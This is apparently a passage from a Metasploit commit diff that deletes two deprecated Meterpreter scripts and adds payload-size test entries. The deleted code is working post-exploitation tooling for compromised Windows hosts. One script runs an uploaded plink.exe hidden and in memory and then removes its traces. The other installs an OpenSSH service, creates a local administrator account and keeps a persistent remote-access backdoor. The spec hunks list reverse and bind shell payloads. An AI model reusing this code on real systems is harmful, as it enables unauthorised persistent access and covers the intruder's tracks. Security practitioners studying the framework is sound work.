print_error("-i requires an argument !")
usage
end
keyfile = val
if not ::File.exist?(keyfile)
print_error("keyfile not found or not accessible!")
usage
end
when "-m"
if !val
print_error("-m requires an argument !")
usage
end
cmdfile = val
if not ::File.exist?(cmdfile)
print_error("cmd-file not found/accessible!")
usage
end
when "-s"
sshsubsys = true
when "-N"
noshell = true
when "-n"
if !val
print_error("-n requires an argument !")
usage
end
nctunnel = val
when "-E"
if !val
print_error("-E requires an argument !")
usage
end
processname = val
when "-v"
verbose = true
when "-F"
filemode = true
else
print_error("Unknown option: #{opt}")
usage
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type != 'windows'
if not rhost or not username
print_status("You must specify a hostname (-H) and username (-u)")
raise Rex::Script::Completed
end
#
# Check if plink-file exists, and if not : download from putty-site first
# Ask user before downloading
#
if not manual
if not ::File.exist?(plink)
print_status("plink.exe could not be found. Downloading it now...")
print_status(license)
plinkexe = Net::HTTP.get URI.parse(plinkurl)
File.open(plink, "wb") { |fd| fd.write(plinkexe) }
print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.")
downloaded = true
end
end
#
# Uploading files to target
#
cmdfileontrgt = upload(client, cmdfile) if cmdfile
keyfileontrgt = upload(client, keyfile) if keyfile
trg_filename = nil
if filemode
print_status("-------Uploading plink -------")
trg_filename = upload(client, plink)
else
trg_filename = plink
end
#
# Build parameter-string
#
params = "-ssh "
params << "-P #{rport} " if not rport == 22
params << "-l #{username} "
params << "-pw #{password} " if password
params << "-batch " if batchmode
params << "-R #{remotefwd} " if remotefwd
params << "-L #{localfwd} " if localfwd
params << "-D #{socksfwd} " if socksfwd
params << "-C " if enablecompression
params << "-X " if enablex11fwd
params << "-x " if disablex11fwd
params << "-A " if enableagentfwd
params << "-a " if disableagentfwd
params << "-1 " if sshv1
params << "-2 " if sshv2
params << "-4 " if ipv4
params << "-6 " if ipv6
params << "-m #{cmdfileontrgt} " if cmdfileontrgt
params << "-i #{keyfileontrgt} " if keyfileontrgt
params << "-s " if sshsubsys
params << "-N " if noshell
params << "-nc #{nctunnel} " if nctunnel
params << rhost
#
# Set Registry-Value before running the client, if the param was specified
#
hostkeyname = nil
if not hostkey == nil
hostkeyname = "rsa2@#{rport}:#{rhost}"
print_status("Writing the Hostkey to the registry...")
client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}")
end
#
# Give additional output when -v is set
#
if verbose
print_status("You set the following parameters for plink :")
print_status(params)
print_status(processname)
end
#
# Execute the client
#
print_status("-------Executing Client ------")
p = nil
if not filemode
p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname})
else
p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true})
end
if noshell == nil
client.console.run_single("interact #{p.channel.cid}")
end
if filemode
if not noshell == true
if verbose
print_status("Waiting 3 seconds to be sure the process was closed.")
end
sleep(3)
if verbose
print_status("Deleting the uploaded plink.exe...")
end
client.fs.file.rm(trg_filename)
else
print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!")
end
end
if not keyfile == nil
if verbose
print_status("Waiting 1 second to be sure the keyfile is not in use anymore.")
end
sleep(1)
if verbose
print_status("Deleting the keyfile !")
end
if verbose
print_status(keyfile)
end
client.fs.file.rm(keyfile)
end
if not cmdfile == nil
print_status("You need to manually delete the uploaded #{cmdfile} !")
end
#
# Delete the registry-key that may have been created
#
if not hostkey == nil
if verbose
print_status("Deleting the registry-key set by the script.")
end
client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}")
end
raise Rex::Script::Completed

View File

@ -1,408 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#
# meterpreter-script to deploy + run OpenSSH
# on the target machine
#
# written by Oliver "illegalguy" Kleinecke
# v.1.0 2010-04-25
#
require 'net/http'
meter_type = client.platform
#
# Options
#
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-f" => [ true, "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"],
"-U" => [ true, "Download OpenSSH-SFX from given URL"],
"-u" => [ true, "Add windows-user (autoadded to local administrators"],
"-p" => [ true, "Password for the new user"],
"-r" => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"],
"-I" => [ true, "Install OpenSSH to the given directory"],
"-F" => [ false, "Force overwriting of registry-values"],
"-S" => [ true, "Set custom service description"],
"-N" => [ true, "Set custom service name"],
"-m" => [ true, "Do not start the OpenSSH-service after installation"],
"-t" => [ true, "Set start-type of the service to manual (Default: auto)"]
)
def usage
print_line("OpenSSH-server deploy+run script")
print_line("This script will deploy OpenSSH + run the SSH-server as a service")
print_line(@@exec_opts.usage)
raise Rex::Script::Completed
end
def createkey(key)
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.create_key(root_key, base_key)
end
def deletekey(key)
root_key, base_key = client.sys.registry.splitkey(key)
rtrncode = client.sys.registry.delete_key(root_key, base_key)
return rtrncode
end
def setval(key, value, data, type = "REG_SZ")
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE)
open_key.set_value(value, client.sys.registry.type2str(type), data)
end
def queryval(key, value)
root_key, base_key = client.sys.registry.splitkey(key)
hkey = client.sys.registry.open_key(root_key, base_key)
valdata = hkey.query_value(value)
return valdata.data
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
#
# Default values
#
extractfilename = File.join(Msf::Config.data_directory, "/openssh-extract.sfx")
manual = false
username = "none"
password = nil
downloadurl = 'http://updates.metasploit.com/data/win32-ssh/openssh.sfx'
uninstall = nil
installpath = nil
license = 'Please go to https://olex.openlogic.com/licenses/openssh-license for license information!'
extractexe = nil
warning = 'Script stopped. There are openssh/cygwin-registrykeys on the target host. Please uninstall the service(s) first, or use -F!'
forced = nil
servicename = "OpenSSHd"
servicedesc = "OpenSSH-Server"
noauto = false
dirname = nil
type = "auto"
#
# Option parsing
#
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
when "-f"
if !val
print_error("-f requires the SFX-filename as argument !")
usage
end
extractfilename = val
if not ::File.exist?(extractfilename)
print_error("OpenSSH-SFX not found/accessible!")
usage
end
manual = true
when "-U"
if !val
print_error("-U requires the download-URL for the OpenSSH-SFX as argument !")
usage
end
downloadurl = val
when "-p"
if !val
print_error("-p requires the password (for the windows-user to add) as argument !")
usage
end
if val.length > 14
print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !")
usage
end
password = val
when "-u"
if !val
print_error("-u requires the username (for the windows-user to add) as argument!")
usage
end
username = val
when "-r"
uninstall = true
when "-I"
if !val
print_error("-I requires a directory-name to use as installpath")
usage
end
dirname = val
when "-F"
forced = true
when "-S"
if !val
print_error("-S requires s custom string to use as the service-description")
usage
end
servicedesc = val
when "-N"
if !val
print_error("-N requires a custom string to use as service-name")
usage
end
servicename = val
when "-m"
noauto = true
when "-t"
type = manual
else
print_error("Unknown option: #{opt}")
usage
end
}
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type != 'windows'
#
# Uninstall if selected
#
if uninstall
username = nil
servicename = nil
begin
dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native")
rescue
print_status("Could not find any sshd installed by this script. Please remove manually!")
deletekey("HKLM\\Software\\Cygnus\ Solutions")
raise Rex::Script::Completed
end
uninstallfile = "#{dirname}\\etc\\uninst.bak"
uf = client.fs.file.new(uninstallfile, "rb")
while not uf.eof?
linesarray = uf.read.split("\r\n")
username = linesarray[0]
servicename = linesarray[1]
end
uf.close
# stop sshd-service, delete it, delete user + files afterwards
print_status("Stopping the #{servicename}-service....")
client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}")
sleep 2
print_status("#{servicename} has been stopped.")
print_status("Deleting the #{servicename}-service....")
client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}")
sleep 1
print_status("#{servicename} has been deleted.")
unless username.strip == "none"
print_status("Deleting user #{username}......")
client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE")
print_status("User #{username} has been deleted")
end
print_status("Deleting the directory #{dirname}....")
client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}")
print_status("#{dirname} has been deleted.")
print_status("Deleting regkeys ....")
deletekey("HKLM\\Software\\Cygnus\ Solutions")
print_status("Registry-keys have been deleted .")
print_status("Uninstall completed!")
raise Rex::Script::Completed
end
#
# Check for OpenSSH/Cygwin - Regkeys first and bail out if they exist
#
root_key, base_key = client.sys.registry.splitkey("HKLM\\Software\\Cygnus\ Solutions")
open_key = client.sys.registry.open_key(root_key, base_key)
keys = open_key.enum_key
if ( keys.length > 0)
if not forced
print_error(warning)
raise Rex::Script::Completed
end
end
#
# If file doesn`t exist and file was not manually specified : auto-download
#
if manual == false
if not ::File.exist?(extractfilename)
print_status("openssh-extract.sfx could not be found. Downloading it now...")
print_status(license)
extractexe = Net::HTTP.get URI.parse(downloadurl)
open(extractfilename, "wb") { |fd| fd.write(extractexe) }
print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.")
downloaded = true
end
end
#
# Generate sshd-dir + upload file to client
#
if dirname == nil
dirname = client.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 ** 8).to_s(36).rjust(8,"0")}"
print_status("Creating directory #{dirname}.....")
client.fs.dir.mkdir(dirname)
else
if !::File.exist?(dirname) && !::File.directory?(dirname)
print_status("Creating directory #{dirname}.....")
client.fs.dir.mkdir(dirname)
end
end
fileontrgt = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.exe"
print_status("Uploading #{extractfilename} to #{fileontrgt}....")
client.fs.file.upload_file(fileontrgt, extractfilename)
print_status("#{extractfilename} successfully uploaded to #{fileontrgt}!")
# Get required infos about the target-system
clientenv = Hash.new
envtxtname = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.txt"
client.sys.process.execute("cmd.exe", "/c set > #{envtxtname}")
fd = client.fs.file.new(envtxtname, "rb")
while not fd.eof?
linesarray = fd.read.split("\r\n")
linesarray.each { |line|
currentline = line.split('=')
envvarname = currentline[0]
envvarvalue = currentline[1]
clientenv[envvarname] = envvarvalue
}
end
fd.close
# Do not continue if client-os is not valid
unless clientenv["OS"] == 'Windows_NT'
print_error("This script will run on Windows-NT based OS only!")
raise Rex::Script::Completed
end
# Extract the files
print_status("Extracting the files ...")
client.sys.process.execute(fileontrgt)
sleep 3
print_status("Files extracted .. ")
#
# Import required registry keys
#
homebase = clientenv["ALLUSERSPROFILE"].slice(0,clientenv["ALLUSERSPROFILE"].rindex('\\'))
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native", dirname)
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "native", homebase)
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "native", "#{dirname}/bin")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\Program Options")
#
# Provide ACL for System User
#
client.sys.process.execute("cacls.exe", "#{dirname} /E /T /G SYSTEM:F")
#
# Add windows-user if requested
#
unless username == "none"
if password == nil
print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!")
usage
end
#Get localized name for windows-admin-grp
admingrpname = nil
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt")
sleep 1
fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb")
while not fd.eof?
linesarray = fd.read.split("\n")
linesarray.each { |line|
if line[0..4] =~ /[aA]dmin/
admingrpname = line.slice!(/[aA]dmin[a-z]+/)
end
}
end
fd.close
sleep 2
client.fs.file.rm("#{dirname}\\groupnames.txt")
print_line("Adding user #{username}....")
client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}")
print_line("Add user #{username} to #{admingrpname}")
client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD")
end
#
# Generate /etc/passwd + /etc/group files
#
print_status("Generating /etc/passwd + /etc/group files....")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkpasswd.exe -l > #{dirname}\\etc\\passwd")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\etc\\group")
#
# Generate SSH-keypairs
#
print_status("Generating SSH-keys .....")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t dsa -f /etc/ssh_host_dsa_key -N \"\"")
sleep 1
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa1 -f /etc/ssh_host_key -N \"\"")
sleep 1
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa -f /etc/ssh_host_rsa_key -N \"\"")
#
# Add OpenSSH - Service
#
print_status("Adding OpenSSHd-Service.......")
if type == manual
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"")
else
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"")
end
print_status("Service successfully installed!")
sleep 2
#
# Save "settings" to txtfile, to be able to del correct user etc afterwards
#
uninstallfile = "#{dirname}\\etc\\uninst.bak"
uf = client.fs.file.new(uninstallfile, "w")
uf.write "#{username} \r\n"
uf.write "#{servicename} \r\n"
uf.close
# Run OpenSSH-service unless noauto was specified
unless noauto
print_status("Starting OpenSSH-Service....")
client.sys.process.execute("cmd.exe", "/c net start #{servicename}")
sleep 1
print_status("OpenSSHd has been started!")
end
# Display OpenSSH-Hostkey, so that user may pass this to sshclient-script directly

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -1,6 +1,6 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##

View File

@ -265,6 +265,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
"Print all vulnerabilities in the database",
"Usage: vulns [addr range]",
" -h,--help Show this help information",
" -o <file> Send output to a file in csv format",
" -p,--port <portspec> List vulns matching this port spec",
" -s <svc names> List vulns matching these service names",
" -R,--rhosts Set RHOSTS from the results of the search",

View File

@ -578,6 +578,16 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'cmd/unix/bind_nodejs'
end
context 'cmd/unix/bind_socat_udp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/cmd/unix/bind_socat_udp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'cmd/unix/bind_socat_udp'
end
context 'cmd/unix/bind_perl' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
@ -768,6 +778,16 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'cmd/unix/reverse_openssl'
end
context 'cmd/unix/reverse_socat_udp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/cmd/unix/reverse_socat_udp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'cmd/unix/reverse_socat_udp'
end
context 'cmd/unix/reverse_perl' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
@ -1236,7 +1256,7 @@ RSpec.describe 'modules/payloads', :content do
end
context 'linux/armbe/shell_bind_tcp' do
context 'linux/armbe/shell_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/linux/armbe/shell_bind_tcp'
@ -2460,6 +2480,16 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'python/shell_reverse_tcp_ssl'
end
context 'python/shell_reverse_udp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/python/shell_reverse_udp'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'python/shell_reverse_udp'
end
context 'ruby/shell_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
@ -2756,6 +2786,17 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'windows/dllinject/reverse_tcp_rc4_dns'
end
context 'windows/dllinject/reverse_udp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/windows/reverse_udp',
'stages/windows/dllinject'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/dllinject/reverse_udp'
end
context 'windows/dns_txt_query_exec' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
@ -3108,6 +3149,17 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'windows/meterpreter/reverse_tcp_uuid'
end
context 'windows/meterpreter/reverse_udp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/windows/reverse_udp',
'stages/windows/meterpreter'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/meterpreter/reverse_udp'
end
context 'windows/metsvc_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
@ -3271,6 +3323,17 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'windows/patchupdllinject/reverse_tcp_rc4_dns'
end
context 'windows/patchupdllinject/reverse_udp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/windows/reverse_udp',
'stages/windows/patchupdllinject'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/patchupdllinject/reverse_udp'
end
context 'windows/patchupmeterpreter/bind_ipv6_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
@ -3414,6 +3477,17 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'windows/patchupmeterpreter/reverse_tcp_rc4_dns'
end
context 'windows/patchupmeterpreter/reverse_udp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/windows/reverse_udp',
'stages/windows/patchupmeterpreter'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/patchupmeterpreter/reverse_udp'
end
context 'windows/shell/bind_ipv6_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
@ -3557,6 +3631,17 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'windows/shell/reverse_tcp_rc4_dns'
end
context 'windows/shell/reverse_udp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/windows/reverse_udp',
'stages/windows/shell'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/shell/reverse_udp'
end
context 'windows/shell_bind_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
@ -3750,6 +3835,17 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'windows/upexec/reverse_tcp_rc4_dns'
end
context 'windows/upexec/reverse_udp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/windows/reverse_udp',
'stages/windows/upexec'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/upexec/reverse_udp'
end
context 'windows/vncinject/bind_ipv6_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
@ -3893,6 +3989,17 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'windows/vncinject/reverse_tcp_rc4_dns'
end
context 'windows/vncinject/reverse_udp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'stagers/windows/reverse_udp',
'stages/windows/vncinject'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'windows/vncinject/reverse_udp'
end
context 'windows/x64/exec' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [